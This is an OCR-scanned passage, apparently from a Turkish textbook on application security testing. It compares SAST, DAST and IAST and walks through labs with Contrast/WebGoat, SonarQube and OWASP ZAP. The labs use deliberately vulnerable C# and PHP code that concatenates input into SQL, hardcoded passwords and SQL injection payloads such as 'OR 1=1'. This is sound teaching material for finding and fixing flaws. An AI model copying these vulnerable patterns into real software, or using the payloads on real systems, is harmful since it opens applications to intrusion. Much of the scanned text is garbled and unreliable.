sorunlarina mudahale etmelerini saglar ve glvenlik aciklarinin daha erken asamalarda
dizeltilmesine yardimci olur.

e Uygulamalarda guvenlik aciklari tespit edildiginde bu givenlik aciklarinin genellikle

onceliklendirilmesi ve diuzeltilmesi gereken agiklar ile daha az kritik olanlar arasinda ayrilmasi
gerekir. IAST; hizli dncelik ile tespit edilen giivenlik agiklarini degerlendirmek, dnceliklendirmek
ve siniflandirmak icin dogru sonuclar saglar.

¢ |AST ile guivenlik agiklari tespit edilen uygulamanin hangi kod veya bilesenlerinde, hangi veri

girislerinde veya islevlerinde giivenlik agigi oldugu belirlenir. IAST, glvenlik acgiklarini tespit
ederken bu aciklarin kaynagini belirleme yetenegine sahiptir. Bir baska deyisle glvenlik
aciklarinin hangi kod satirlarinda veya 6zelliklerde ortaya ciktigini dogrudan gosterir.

e |AST, Surekli Entegrasyon/Sirekli Dagiim [Continuous Integration/Continuous Deployment

(Cl/CD)] slirecine sorunsuz bir sekilde dahil edilir ve bu siiregle uyumludur. Gelistirme ekibinin
guvenlik testlerini CI/CD boru hattina entegre etmesini ve yazilimin giincellemelerini givenlik
acisindan degerlendirmesini kolaylastirir.

e |AST, yazilim gelistirme sirecinin daha erken asamalarinda guvenlik aciklarini tespit ederek

diizeltme maliyetlerini ve risklerini azaltmaya yardimcidir.

IAST’In dezavantajlan sunlardir:

¢ Sadece calisma zamaninda gorilen zafiyetleri tespit edebilir.

e Uygulamalarin canli ortaminda kullanilmasi gerektigi icin test ortamlarinda uygun degildir.
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Statik Uygulama Giivenligi Testi [Static Application Security Testing (SAST)], Dinamik Uygulama Giivenligi
Testi [Dynamic Application Security Testing (DAST)] ve Etkilesimli Uygulama Guivenligi Testi [Interactive

Application Security Testing (I1AST)] yontemlerinin karsilastirilmasi Tablo 3.1’de verilmistir.

Tablo 3.1: Uygulama Guvenligi Test Cesitlerinin Karsilagtiriimasi

Ozellikler

SAST

DAST

IAST

Statik uygulama gi-
venligi testidir. Kaynak

Dinamik uygulama gu-
venligi testidir. Calisan

Etkilesimli  uygulama
glivenligi testidir. Uygu-

sonuclar verme riski
vardir.

gatif sonuglar verme
riski vardir.

1 Tanim ve islev kodu ve derlenmis lamanin ¢alisma zama-
L .~ [ uygulamanin davrani- .
kod Uzerinde analiz . ni davranislarini izler ve
sinl analiz eder. .

yapar. analiz eder.

Gelistirme asamasin- [ Uygulama  ¢ahstiril- Uveulama alisirken
2 Test Zamanlamasi da -kod yazilirken- ya- | diginda (6rnegin test ve sally

-canli ortamda- yapllir.

pilir. sunucusunda) yapilir.

Daha hizli sonuglar ve- Yavag sonuclar verir, Daha hizli sonuglar ve-

rir ancak yanlis pozitif canl uygulamalar rir ve gercek zamanli
3 Hiz ve Verimlilik test eder ve yanlis ne-

glivenlik tehditlerini
tespit edebilir.

Entegrasyon Kolay-

Kod tabanina entegre

Uygulama disinda ¢a-
listigi icin uygulamaya

Uygulamaya entegre
edilmesi daha kolaydir

Kaynagi

tespit eder.

pit eder.

4 hg Z:jrllmeSI CEIE! LGl entegre etmek daha|ve CI/CD sirecine uy-
’ zordur. gundur.
. Uygulamanin  ¢alisma
Guvenlik Agiklarinin [ Kaynak kod analiziyle U-Ygula.ma calisiginda zamani  davraniglarini
5 glvenlik agiklarini tes-

izleyerek tespit eder ve
kaynagini belirler.

6 Otomasyon Destegi

Otomasyon
gundur.

icin uy-

Sinirl otomasyon des-
tegi sunar.

Otomasyon igin uygun-
dur ve CI/CD slrecine
kolayca entegre edile-
bilir.

7 Hassasiyet

Disuk yanlis pozitifler
verir ancak baz gi-
venlik aciklarini atla-
yabilir.

Yiksek yanlis pozitif-
ler ve yanlis negatifler
verebilir.

Disuk yanhs pozitifler
verir ancak gercek za-
manli tehditleri tespit
edebilir.

kullanilr.

lantlir.

Uygulamanin calisma | Uygulamanin calisma Ugtliimeiin — galism:
Uygulama Durumu vg n galls 8 n cals zamanindaki davra-
8 > zamanindaki durumu- | zamanindaki durumu- . .
Etkisi . . niglarini izler ve analiz

nu dikkate almaz. nu analiz eder.

eder.

Gelistirme slrecinin [ Canli  uygulamalarin | Hem gelistirme slire-
9 Olgunlasma Seviyesi | erken  asamalarinda | test edilmesi icin kul- | cinde hem de canl or-

tamda kullanilir.
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Not: WebGoat, bir giivenlik egitim aracidir. Ozellikle web uygulamalarinin giivenlik aciklarini
o0grenmek ve anlamak icin kullanilir.

UYGULAMA

> WebGoat uygulamasini kullanarak etkilesimli uygulama glivenligi testini IAST
Contrast araci ile verilen adimlar dogrultusunda gergeklestiriniz.

'1 Adim: https://www.contrastsecurity.com/contrast-community-edition adresine gidip Contrast:

1 Commumty Edition uygulamasini acginiz ve Gorsel 3.43'teki alanlari doldurarak tiye olunuz. 1
First Name* Last Name*
Email*

@ !'m Interested in a Free Dema

Company Size
0-499

Country*
Turkey

State

---Non USA or Canada----

Contrast Security is committed to protecting and respecting your privacy, and we'll only use your personal
information to administer your account and to provide the products and services you requested from us.
From time to time, we would like to contact you about our products and services, as well as other content
that may be of interest to you. If you consent to us contacting you for this purpose, please tick below to say
how you would like us to contact you:

@ | agree to receive marketing email communications from Contrast Security.

(") | agree to receive marketing phone communications from Contrast Security.

Gorsel 3.43: Contrast Community Edition kayit sayfasi

1 2 Adim: Vermis oldugunuz e-posta adresine giderek tyelik onayinizi tamamlayiniz. 1

! 3 Adim: Acilan web sayfasinda yeni parolanizi girip Save Password butonuna tiklayiniz (Gorsel 3.44). i

P e Qr]trast

Configure Credentials

| acknowledge the Terms of Service and corresponding Privacy Policy.

Gorsel 3.44: Parola olusturma penceresi
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. 4 Adim: Acilan web sayfasinda Start Agent Setup butonuna tiklayarak ajan ayarlari sayfasina gldlnlz !
1 (Gorsel 3.45). 1

Welcome to €€ Contrast

CONTRAST S & c i vous

| want to quickly see Contrast's offerings. | am ready to connect and see live results.

Tour Sample Application Start Agent Setup

Select an experience to get started.

Gorsel 3.45: Contrast’a Hos Geldin penceresi

! 5. Adim: Ajan ayarlari sayfasinda ajan olarak Java (Kotlin, Scala) seciniz. ,
1 1
1 6. Adim: Dowload the Java contrast_security.yaml linkine tiklayarak ajan ayar dosyasini indiriniz |
1 (Gorsel 3.46). 1

How to get and insta" an agent © You can only onboard 1 application. Want more? Upgrade.

© Choose an agent

Java (Kotlin, Scala) -

Upgrade to Enterprise to access our other languages - .NET, Python & Ruby.

© Get the configuration file

* Download the Java contrast_securityyaml
This short customn YAML file contains your organization keys. It allows the agent to communicate with Contrast.
You will need the file for the installation instructions in the next step.

[Z Open YAML Editor

Gorsel 3.46: Ajan ayarlari penceresi
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I8 Adim: Windows terminalinde git clone https://github.com/rstatsinger/contrast-java- webgoat-
| | docker. git komutunu galistiriniz (Gorsel 3.47). ,

D:\>mkdir webgoat
D:\>cd webgoat

D:\webgoat>git clone https://github.com/rstatsinger/contrast-java-webgoat-docker.git
Cloning into 'contrast-java-webgoat-docker’'...

remote: Enumerating objects: 586, done.

remote: Counting objects: 1008% (203/203), done.

remote: Compressing objects: 100% (103/183), done.

remote: Total 506 (delta 1604), reused 189 (delta 97), pack-reused 303

Receiving objects: 186% (506/566), 25.56 MiB | 6.78 MiB/s, done.

Resolving deltas: 100% (246/2u6), done.

D:\webgoat>dir

Volume in drive D is DevDisk

Volume Serial Number is FUFE-CF2A

Directory of D:\webgoat

25.682.2024 14:58 <DIR=>

25.682.2024 14:58 <DIR=> ac

25.82.2024 14:58 <DIR> contrast-java-webgoat-docker
8 File(s) 0 bytes
3 pir(s) 26.239.967.232 bytes free

D:\webgoat>cd contrast-java-webgoat-docker

Gorsel 3.47: Windows terminali webgoat docker indirme kodlari

' 9. Adim: Windows terminalinde cd contrast-java-webgoat-docker komutuyla bu klasére giriniz.
l 10. Adim: Metin editoriyle .env.template dosyasini aginiz.
1

1
111. Adim: contrast_security.yaml adli ajan ayar dosyasindaki (Gorsel 3.48) bilgilere gére .env.template
: dosyasinda gerekli degisiklikleri yapiniz (Gorsel 3.49).

api:
url: https://ce.contrastsecurity.com/Contrast
apl_ kewy: )OOOOOOCOOOOOOK
service Kew: MOOOOOOOO0NX

LS __IMaME o 0 I 0 I e

Gorsel 3.48: Ajan ayar dosyasi igerigi
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G

CONTRAST__API__USER_NAME=<Agent Username>

CONTRAST _API__API_KEY=<API Key>

CONTRAST__API__ SERVICE_KEY=<Agent Service Key>

# Change this to your Contrast URL if you are not using Community Edition

CONTRAST __API__ URL=https://ce.contrastsecurity.com/Contrast

Gorsel 3.49: .env.template dosyasi igerigi

' 12. Adim: .env.template dosyasini .env adiyla farkh kaydediniz.

I13. Adim: Windows terminalinde docker compose up komutuyla webgoat docker konteynerini
| calistiriniz (Gérsel 3.50).

D:\webgoat\contrast-java-webgoat-docker>docker compose up

[+] Building 0.8s (8/8) docker:default

2024/82/25 14:59:57 http2: server: error reading preface from client //./pipe/docker_engine:

[+]
==
==
=>
=>
==
==
==
==

= =
=> =
=> =
= 3

[+]

Building 66.45 (8/8) FINISHED

=> transferring dockerfile: 1.14KkB
[webgoat internal] load metadata for docker.io/adoptopenjdk/openjdk8:debianslim

[webgoat internal] load .dockerignore

=> transferring context: 2B
[webgoat] https://github.com/WebGoat/WebGoat/releases/download/7.1/webgoat-container-7.1-exec.jar
[webgnat 1/3] FROM docker.io/adoptopenjdk/openjdk8:debianslim@sha256:2397e5f5aadb822afb15f9c15uf831366bd16F8 19

[webgoat 3/3] RUN apt-get update

=> [webgoat internal] load build definition from Dockerfile

sha256:bcB52785fe72119e36945156653941dadlcld6ladcllab5flea5ad9f8e8a6b72c
sha256:2397e5f5aadb822a8bl15f9c15Uf831366bd16f81a5e28d797fda6b7a5193eeff
sha256:5169e63ebaedfbde2lcfueafl1679bcbec71U8fdbun32c0B8UaT6256b7b2331422
sha256:95d058b0ad8826c38d5ff532UccBbcef2edi5caz3ad39012362a8eladffun66e
sha256:b992ca815489879dcc6d19cf381c63d05T7elb92dedduy5373Uf69uUbeSee23dfd9
sha256:e2cdcedd6b831c8fd2003c59835bead3382007bec2796639a9a219bali233b5ue
extracting sha256:b992ca815489079dcc6d19cf381c63d057elb92ueddy5373Uf69uUbe5ee23dfdo
extracting sha256:e2cdcetld6b831cOfd2003c59835bead3382007bec2796639a%a219bali233b54e
extracting sha256:bc8527085fe72119e369451566539U1daduclsladcllab5flea5ad9fee8a6b72c

[webgoat] exporting to image
=> exporting layers

=> writing image sha256:7e4d7f963089101acc54292bd1fan63bfO88921386albuulfeb211f29fFf0938c
=> paming to docker.io/library/contrast-java-webgoat-docker-webgoat
Running 2/1

&& apt-get install -y gnupg

docker:default

163.59MB / 103.59MB
1.16kB / 1.10kB
9548 / 954B

3.48KkB / 3.u8KB
27.19MB / 27.19MB
13.12MB / 13.12MB

[webgoat 2/3] ADD https://github.com/WebGoat/WebGoat/releases/download/7.1/webgoat-container-7.1-exec.jar fop
&& curl https://pkg.contrastsecurity.com/ap 2

Gorsel 3.50: Docker konteyneri ¢alishrma komutu

8.
0.
a
8.
8.
39.
.ds
> resolve docker.io/adoptopenjdk/openjdk8:debianslim@sha256:2397e5f5aadb022apbl5f9c154f831366bd16f81a5e28d79 6.
18.
.8s
.8s

@

O 000 WO -]OoOod

@s
@s
3s
s
s
2s

@s
3s

s
1s

.65
.1s
.ls
.9s
.58
.1s
.1s
.1s
.8s
.8s

' 14. Adim: Contrast Community Edition web sayfasinda Applications linkine tiklayiniz.

l 15. Adim: Acilan web sayfasinda WebGoatDocker uygulamasinin eklendigini gézlemleyiniz (Gorsel
1

3.51).
1

file has already been close

Applications All (1)~

Score T

Application T

WebGoatDocker @

Java

Open Vulnerabilities

4 SORT BY NAME

Attack Status

Gorsel 3.51: Contrast Community Edition “Tiim Uygulamalar” sayfasi
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! 16 Adim: Web tarayicisinda http://localhost:8080/WebGoat/ sayfasina giderek WebGoat ,
1 uygulamasma giriniz (Gorsel 3.52). !

O M (i) localhost:3080/WebGoat/login.mvc

Username

webgoat

Password

The following accounts are built into Webgoat

Account User Password
Webgoat User guest guest
Webgoat Admin webgoat webgoat

Gorsel 3.52: WebGoat giris penceresi

LAB: SQL Injection

Stage 1
Stage 1: Use String SQL Injection to bypass authentication. Use SQL injection to log in as the boss ('Neville') without using the correct password. Verify that
Neville's profile can be viewed and that all functions are available (including Search, Create, and Delete).

¢ Goat Hills Financial

# Human Resources

(Neville Bartholomew (admin} v]

Gorsel 3.53: WebGoat SQL Injection sayfasi
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: 18. Adim: Contrast Community Edition web sayfasinda Vulnerabities linkine tiklayarak zafiyetleri ! i
1 gozlemleyiniz (Gorsel 3.54). .

|:| WebGoatDocker >

URL: / Language: Java Importance: Medium

Qwverview Vulnerabilities Libraries  Activity Flow map Policy

Open(19)~ Q S;zrni 1 SORT BY SEVERITY v B A

Severity T Vulnerability T Last Detected T Status T

SQLectiontrom pasword ST+ Jnitesago  Raportd

S ecton o soor oM oy R
popicson il s FlagonCooki 19 minesago  Repore

Gorsel 3.54: WebGoat uygulamasi zafiyetler sayfasi

What happened?

We tracked the following data from "password” Parameter:

POST /WebGoat/attack?Screen=1537271095&menu=1100
password=contrast-redacted-authentication-info&employee_id=101&action=Login

..which was accessed within the following code:

org.owaspwebgoat.plugin.sglinjection.LoginSglInjection#login(), line 132

«.and ended up in this database query:

SELECT * FROM employee WHERE userid = 101 and password = "or 1=1'

Gorsel 3.55: WebGoat uygulamasi zafiyet detay sayfasi
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UYGULAMA

> C# programlama diliile yazilan bir uygulamayi, statik kod inceleme araci SonarQube
ile test etme islemini verilen adimlar dogrultusunda gergeklestiriniz.

namespace Statik
{
internal class Program
i
static void Main(string[] args)
{
// Ornek C# uygulamasi
int x = 0Q;
Console.WriteLine(x);
// HATA: SQL enjeksiyon giivenlik acgigi
string userInput = “1’; DROP TABLE Users; ——7;

string sqlQuery = “SELECT * FROM Orders WHERE CustomerID = ‘” + use-
rInput + “’7,

// HATA: Sabit kodlanmis parola

string hardcodedPassword = “myPasswordl23”;

// UYARI: Parola karmasiklik kontrolii
string password = “password”;
if (password.Length < 8)
{

Console.WriteLine(“UYARI: Sifre yeterince uzun degil.”);
}
// UYARI: Givensiz API Kullanimi
string untrustedData = Console.ReadlLine();
Console.WriteLine(“Giivenli Olmayan Veri: “ + untrustedData);
// UYARI: 0Ozel Bilgileri Loglama
string creditCardNumber = “1234-5678-9012-3U56”;
Console.WriteLine(“Kredi Karti Numarasi: “ + creditCardNumber);

Console.ReadLine();
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1 2. Adim: SonarQube programini https://www.sonarsource. com/products/sonarqube/downloads/I
Iadresme giderek, Community Edition sekmesinden DOWNLOAD FOR FREE butonuna basarak,
lindiriniz (Gorsel 3.56). !

g Snnar Solutions ¥  Products ¥+ Resources v Company v

sonarqubé N | Deployment What's New Roadmap Documentation Download

Version 10.2 | Released September 2023

Community Edition Developer Edition Enterprise Edition Data Center Edition
Used and loved by Built for developers by Designed to meet Designed for high
400,000+ companies. developers Enterprise requirements availability

DOWNLOAD FOR FREE DOWNLDAD DOWNLDAD DOWNLDAD
All of the following features: Community Edition plus: Developer Edition plus: Enterprise edition plus:
© Static code analysis for ©® Support for C, C++, Obj- © Support for Apex, @ Component redundancy

Gorsel 3.56: SonarQube programini indirme sayfasi
'3 Adim: Kurulumunu gergeklestirdiginiz programi calistiriniz. Kullanici adi, admin ve sifre, admln ;
! yazarak statik kod analizi programina giris saglayiniz (Goérsel 3.37). !

Log in to SonarQube

admin

| Log in | Cancel

Gorsel 3.37: Statik kod analizi programina giris penceresi
' 4. Adim: Giris saglandiginda sifre yenileme sayfasina yonlendirileceksiniz. Yeni sifrenizi girerek | i
! onaylaylnlz ve proje olusturma sayfasini goriiniiz (Gorsel 3.58). !

sonarqube Projects  Issues  Rules  Quality Profiles  Quadity Gates  Administration  More a

How do you want to create your project?

fram Azure DevOps Setup Import from Biibucket Cloud Setup Impaort from Bitbucket Serve Setup

Gorsel 3.58: Proje karsilama sayfasi
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I/“
' 5 Adim: Create project manually se¢cenegini tiklayarak proje olusturunuz. :
| 6. Adim: Agilan proje olusturma ekraninda proje ismine statikkodincele yazarak Next (ileri) butonuna |
1

' basiniz (Gorsel 3.59).

Create a project

Project display name *

‘ statikkodincele (]

Up to 255 characters. Some scanners might override the value you provide.

Project key *

statikkodincele ‘ o

The project key is a unique identifier for your project. It may contain up to 400 characters.
Allowed characters are alphanumeric, '-* (dash), ‘_' (underscore), '’ (period) and "' (colon), with at
least one non-digit.

Main branch name *
main

The name of your project’s default branch Learn More [4

Gorsel 3.59: Proje olusturma sayfasi

Set up project for Clean as You Code

The new code delinition sels which part of your code will be considered new code. This helps you focus attention on the most recent changes 1o your project, enabling you 1o follew the Clean as
You Code methodology. Learn more: Defining New Code [

Choose the baseline for new code for this project

&) Use the global setting
Previous version
Any coda that has changad since tha pravious varsion is considarad naw code.

Recommended for projects following regular versions of refeases,

! Dafine a specific setting for this project

Previous version

Any code that has changed since the previous version is considered new code,

Recommended for projects following requiar versions of releases,

Mumber of days
Any code that has changed in the [ast x days is considered new code. If no action ks taken on & new issus Bfter x days, this iszus will become pert of the oversl| cods,

Recommended for projecis following continuous delivery

Reference branch

Choose a branch as L ine for tha naw code.

Racommandad for project

uging featura hranchas

Gorsel 3.60: Proje ayarlari sayfasi
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' 8. Adim: Analiz metot sayfasinda deponuzun nasil analiz edilecegi belirtilir. Locally secenegini segerek, | i
| ' deponun yerel olarak analiz edilmesini saglayiniz (Gorsel 3.61). -

Congrahaaions! Your projoct has boon osalod. X
sonarquba)  Proiects fssues  Ruler  GualtyProfies  Quaity Gates  Adeinis PROPAORI I e ]

Overview Project Settings ar

Analysis Method

Use this page to manage and Set-up this wiy your analyses & performed

How do you want to analyze your repository?

@ Win Jenkins ) With GitHub Actions O With Bitbucket Pipslines

& With GitLab C| o With Azure Pipeines Other €1

Gorsel 3.61: Analiz metot sayfasi

Analyze your project

We initialized your project on SonarQube, now it's up to you to launch analyses!

1 Provide a token

(®) Generate a project token

Token name 2 Expires in

%

Analyze "statikkodincele" 30 days ¥ Generate

A\ J

Please note that this token will only allow you to analyze the current project. If you want to use the
©® same token to analyze multiple projects, you need to generate a global token in your user account.
See the documentation [4 for more information.

() Use existing token

The token is used to identify you when an analysis is performed. If it has been compromised, you can revoke it
at any point in time in your user account.

Gorsel 3.62: Token ayarlama ekrani
'10 Adim: Agilan sayfada olusturulan token goriliir. Continue butonuna tiklayarak devam edlnlz'
1 (Gorsel 3.63). -

Analyze your project

We initialized your project on SenarQube, now it's up to you to launch analyses!

1 Provide a token

a

Analyze "statikkodincele": sqp_5348132ef76d6f9126e8cec7a57cd006fb2aa75a

The token is used to identify you when an analysis is performed. If it has been compromised, you can revoke it
at any point in time in your user account.

Gorsel 3.63: Token olusturuldu ekrani
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________________________________________________________ a
Analyze your project
1 Provide a token © Analyze “statikkodincele™: sqp_5348132e1760619126e8cec7a57cd006Ib2aa75a
2 Run analysis on your project
Maven  Gradle  NET  Other (for JS, TS, Go, Pythan, PHP, ..]
Gorsel 3.64: .NET galistirma
________________________________________________________ -
' 12 Adim: Agilan ekranda karsiniza ¢ikan kodlari terminal programinda sirayla ¢alistiriniz (Gorsel 3. 65)
2 Run analysis on your project
What option best describes your build?
Maven  Gradle  .NET  Other (for JS, TS, Go, Python, PHP, ..)
Choose your build tool
.NET Core .NET Framework
Scanner .NET Core Global Tool
As a prerequisite you need to have the sonarscanner tool installed globally using the following command
dotnet tool instsll --globsl dotnet-sonarscanner 0 Copy
©®  Make sure dotnet tools folder is in your path. See dotnet global tocls documentation for more information.
Execute the Scanner
Running a SonarQube analysis is straighforward. You just need to execute the following commands at the root of your solution.
dotnet sonsrscanner begin /k:statikkodincele’ /d:sonar.host.url-"http://localhost:3090° /d:sonar. token-"sqp_5348132ef7646F3126eBcec7a5TedB0Efb2aa75a" {0 Copy
dotnet build ( Copy
dotnet sonarscanner end /d:sonar . token="sqp_$348132¢f76d675126e8cecTasTcd0B6 b22aT5a (3 Copy
Please visit the official documentation of the Scanner for NET [7 for more details.
Gorsel 3.65: .NET calistirma kodlari
________________________________________________________ -

: 13. Adim: Terminali agarak projenizin bulundugu klasér yolunu belirtiniz ve Gorsel 3.66’da gorilen !
' kodlari sirayla ¢alistiriniz. i

=] Command Prompt

C:\StatikKodAnaliz\Statik>dotnet tool install --global dotnet-sonarscanner

Gorsel 3.66: Terminal ekrani

1 failed condition

Failed

O 0.0% Coverage on New Code

an 80.0%

Gorsel 3.67: Kod inceleme durumu
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: 15. Adim: Acilan sayfada Overall Code sekmesine giderek kod incelemesinde ortaya ¢ikan sorunlari '

1 gozlemleyiniz (Gorsel 3.68). -
———————————————————————————————————————————————————————— -
Measures
New Code 1 Overall Code 1 failed condition
¥¥ Reliability @ Maintainability
A A
0O Bugs 5 Code Smells
& Security @& Security Review
A A
0 Vulnerabilities O Security Hotspots 2
Coverage Duplications
0.0% Coverage 0.0% Duplications
Coverage on 7 Lines to cover O Duplications on 24 Lines Ll
— Unit Tests O Duplicated Blocks

Gorsel 3.68: Kod incelemede ortaya ¢ikan hatalar

________________________________________________________ -
' 16. Adim: Kod sayfasinda 6nerilen dizeltmeleri yapiniz (Gorsel 3.69). !

________________________________________________________ a
Maintainability Rating on New Code A

1 namespace Statik

2 i

3 & internal class Program

4 t

5 static void Main(string[] args)

6 { New Code
7 // Ornek c# uygulamast

3 int x = 1;

9 | Console.WriteLine(x);

10 // HATA: SQL Injection Wulnerability

11 string userInput = "1'; DROP TABLE Users; --";

12 (44 string s_quuery = "SELECT * FROM Orders WHERE CustomerID = '" + userInput + "'";

Intentionality issue
Remove the unused local variable 'sqlQuery'. Why is this an issue? unused +
Open v Notassigned v  Maintainability @ & Code Smell & Minor 5min effort - 11 minutes ago

14 // HATA: Hardcoded Password

15 5] string hardcodedPassword = "myPassword123”;

16

17 // UYARI: Password Complexity Check

18 string password = "password";

19 I if (password.Length < 8)

20 {

21 I Console.WriteLine("UYARI: $ifre yeterince uzun degil.");

22 }

23

24 // UYARI: Givensiz API Kullanim

25 5] string untrustedData = Console.Readline();

26 Console.WriteLine("Guvenli Olmayan Veri: " + untrustedData);

28 // UYARI: Ozel Bilgileri Loglama

29 string creditCardNumber = "1234-5678-9012-3456";

30 I Console.WriteLine("Kredi Karti Numarasi: " + creditCardNumber);

3

32 I Console.ReadLine();

33 i

Gorsel 3.69: Kod incelemede Onerilen diizeltmeler
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Olusturdugunuz bir C# projesinin statik kod inceleme testini, SonarQube aracini kullanarak ger-
ceklestiriniz.

DEGERLENDIRME

Calismaniz asagida yer alan kontrol listesi kullanilarak degerlendirilecektir. Calismalarinizi yaparken
degerlendirme olgutlerini dikkate aliniz. Calismanizi bir ders saati icinde tamamlayiniz.

KONTROL LISTESI
DEGERLENDIRME OLGUTLERI HAYIR

C# projesini olusturdu.

SonarQube aracini kullanarak yeni proje olusturdu.

Proje analizine basladi.

Analiz sonucunu goérintuledi.

Varsa diizeltmeleri uyguladi.

Calismayi verilen stirede tamamladi.

Nljo|a|s|w|n |k

Eksik oldugu o6lgutleri tamamladi.

UYGULAMA

> Web uygulamasinin, dinamik kod inceleme araci OWASP ZAP ile incelenmesi
islemini verilen adimlar dogrultusunda gerceklestiriniz.

! 1 Adim: PHP web sunucusu (XAMPP, WampServer vb.) programini ¢calistirinizve MySQL uygulamasini :
| aglmz

|2. Adim: internet tarayicisinda phpMyAdmin sayfasindan example3_db isimli veri tabanini
, olusturunuz.

1
1
1
1
1
1 1
| 3. Adim: products isimli yeni bir tabloyu dort siitun olarak olusturunuz. 1
1
1

' 4. Adim: Siitun bilgilerini giriniz ve Kaydet butonuna basiniz (Gorsel 3.70).

Adi Tard Uzunluk/Degerler ¢  Varsayilan & Karsilagtirma Oznitelikler Bog Index Al
id
INT v Yok G B v [ PRMARY v
Merkezi Sutuniardan se¢ PRIMARY

product_name

VARCHAR ~ 50 Yok v ~ v (] = ~ O
Merkezi Stitunlardan se¢
product_count

INT v Yok v v v 0O - vi 0O
Merkez: Sttunlardan sec
product_type

VARCHAR % 50 Yok % v v O |— v 0O

Gorsel 3.70: Products tablosu
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: 5. Adim: Ekle butonuna tiklayiniz ve product_name degeri olarak bilgisayar, product_count degerl !
1 oIarak 7, product_type degeri olarak elektronik yazarak Git butonuna basiniz (Gorsel 3.71). 1

] Gozat  Yam L] sQL , Ara 3t Ekle =4 Disaaktar |« Igeaktar = Yetkiler J* islemler # lzleme 2. Tetikleyiciler
Siitun Tiril islev Bos Defjer
id int(11) e
product_name varchar{50) e bilgisayar
product_count  int(11) ~ T
product lype varchar{50) ~ .elsklronik
Git

Gorsel 3.71: Products tablosuna kayit girme

' 6. Adim: Veri tabanina bes satir daha ekleyiniz.

I

| 7. Adim: guvenliyazilimtest2 klasori ve bir metin editori kullanarak klasériin i¢ine index.php adinda
- bir PHP dosyasi olusturunuz.

! 8 Adim: index.php dosyasi icine su kodu yaziniz:

<?php

session_start();
Sdatabase_host = “localhost”;
Sdatabase_user = “root”;

“n,

Sdatabase_pass = “”; // Veri tabani sifresi
Sdatabase_name = “example3_db”;
Sconnection = new mysqli(Sdatabase_host, Sdatabase_user, Sdatabase_pass, Sdatabase_name);
if (Sconnection->connect_error) {
die(“Veri tabani baglanti hatasi: “ . Sconnection->connect_error);
}
if(isset(S_POST[‘search’])) {
SsearchTerm = §_POST[‘search’];

// Guvensiz bir sekilde kullanicidan gelen veriyi arama sorgusuna dahil etme (SQL enjeksiyon acigi
icerir.)

Ssql = “SELECT * FROM products WHERE product_name LIKE ‘%SsearchTerm%’”;
// Sorguyu calistir.

Sresult = mysqli_query(Sconnection, $sql);
if (Sresult) {

// Sonuglari goruntile.
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while (Srow = mysqli_fetch_assoc(Sresult)) {
echo “Uriin Adi: “. Srow[‘product_name’] . “<br>";
echo “Uriin Sayisi: “. Srow[‘product_count’] . “<br>”;
echo “Uriin Cesidi: “ . Srow[‘product_type’] . “<br>”;
}
}else {

echo “Sorgu hatasi: “ . mysqli_error(Sconnection);

}

?>

<IDOCTYPE html>
<html>
<head>
<title>Uriin Arama</title>
</head>
<body>
<h2>0riin Arama</h2>
<form method="POST">

nn

Uriin Adi: <input type="text” name="search” value="">
<input type="submit” value="Ara”>
</form>
</body>

</html>

'9 Adim: internet tarayicisinda localhost/guvenliyazilimtest2 adresini acarak web uygulamasmda:
' Urin arama gergeklestiriniz (Gorsel 3.72). 1

Urlin Adi: bilgisayar
Uriin Sayist: 7
Uriin Cesidi: elektronik

Uriin Arama

Uriin Adl:l H Ara |

Gérsel 3.72: Uriin arama sonug ekrani
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'10 Adim: OWASP ZAP uygulamasini agip, Automated Scan butonuna tiklayarak uygulamanlzm:
+ bulundugu URL bilgisini URL to attack kismina yaziniz ve Saldir butonuna tiklayiniz (Gorsel 3.73). 1

< Automated Scan

This screen allows you to launch an automated scan against an application - just enter its URL below and
press 'Attack’.

Yalnizca 6zel test etmek igin izin verilen olan uygulamalarn saldirmak gerektidini unutmayin.

URL to attack: ' http://127.0.0.1/guven|iyazilimtes’12/1 v @ Seg...

Use traditional spider:

Use ajax spider: with | Chrome Headless

L7 Saldin Dur

Gorsel 3.73: OWASP ZAP yeni bilgi giris ekrani

'11 Adim: SQL enjeksiyonu saldirisina sebebiyet veren SQL sorgusunu inceleyiniz (Gorsel 3.74). !

1 KuIIan|C|dan alinan Ara (Search) degerinin SQL sorgusuna dogrudan dahil edildigini gozlemleyiniz.

[sdartvos v BHBH @SS T EE0EEEDE 48 O % @ o
@ siteler == ;

L Hizh Baslangig # =p Talep 4= Cevap /. Istemci 4

exn>@

& oriin < Automated Scan

5] Varsayilan baglam

$ Siteler
® This screen allows you to launch an automated scan against an application - just enter its URL below and
press 'Attack’.
Yalnizca test etmek igin izin verilen Gzel uygulamalara saldirmak gerektigini unutmayin.
URL to attack: http:/f127.0.0.1/guvenliyazilimtest2/ v | @ Ses...
Use traditional spider: [v/]
Use ajax spider: with | Firefox Headless
& Saldin Dur
llerieme: Saldin tamamland - Bulunan herhanai bir sorun avnintilar icin Uvanlar s...
% Gegmis S Arama [ Uyanlar | Gkt 38 Oromeek A Aktif Tarama 4
@ @ ‘/’ & SQL Enjekslyonu
N Uosrlar (15 URL: hitp://127.0.0.1/guvenliyazilimtest2/
i Uyariar (15) Risk: [ High

|Fl cross Site Scripting (Reflected)
F-U SAL Enjeksiyonu

Guvenirlik:  Medium
Parametre: search

I POST: http://127.0.0.1/guvenliyazilimtest2/

“Saldir: ZAP' OR '1'="1" —-
[F saL Injection - MysaL i
1 . . K :
14 Anti-CSRF belirtecleri olmamasi (2) o Do .

HJ Content Security Policy (CSFP) Header Not Set (4)

N 2 g P b WASC ID: 19
|4 Missing Anti-clickjacking Header (2)

Kaynak:  Etkin (40018 - SQL Enjeksiyonu)
| Uyarilar 12 3 [U6 [ 3 Main Proxy: localhost:8080 ' Giincel Taramalar 4§ 0 &0 @0 20 @0 L0 %0 o

Gorsel 3.74: OWASP ZAP zafiyet inceleme
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' 12 Adim: SQL enjeksiyonu saldirisina sebebiyet veren kodu diizeltip, testi tekrar gerceklestirerek :
. testm sonucunu inceleyiniz. |

UYGULAMA

> Bir web uygulamasinin dinamik kod analizini verilen adimlar dogrultusunda
gerceklestiriniz.

' 1 Adim: Web uygulamanizi ¢calistiriniz.

2 Adim: Dinamik kod analizi araci i¢in kullanici hesabinizi olusturunuz (Gorsel 3.75). Hesabinizi
' olugturdugunuzda size verilen API_KEY bilgisini kaydediniz.

' 3. Adim: Dinamik kod analizi igin Application Name bolimini dinamikkodanalizi, Environment Name :
. bqumunu Development secip, Next butonuna basarak ilerleyiniz (Gorsel 3.76). .

™ Create New App App Details

@ App Details
Application Name

dinamikkodanalizi

Environment Name

Development

Host

http://192.168.1.110/guvenliyazilimtest

Invite a User ®

Gorsel 3.76: Uygulama proje bilgileri




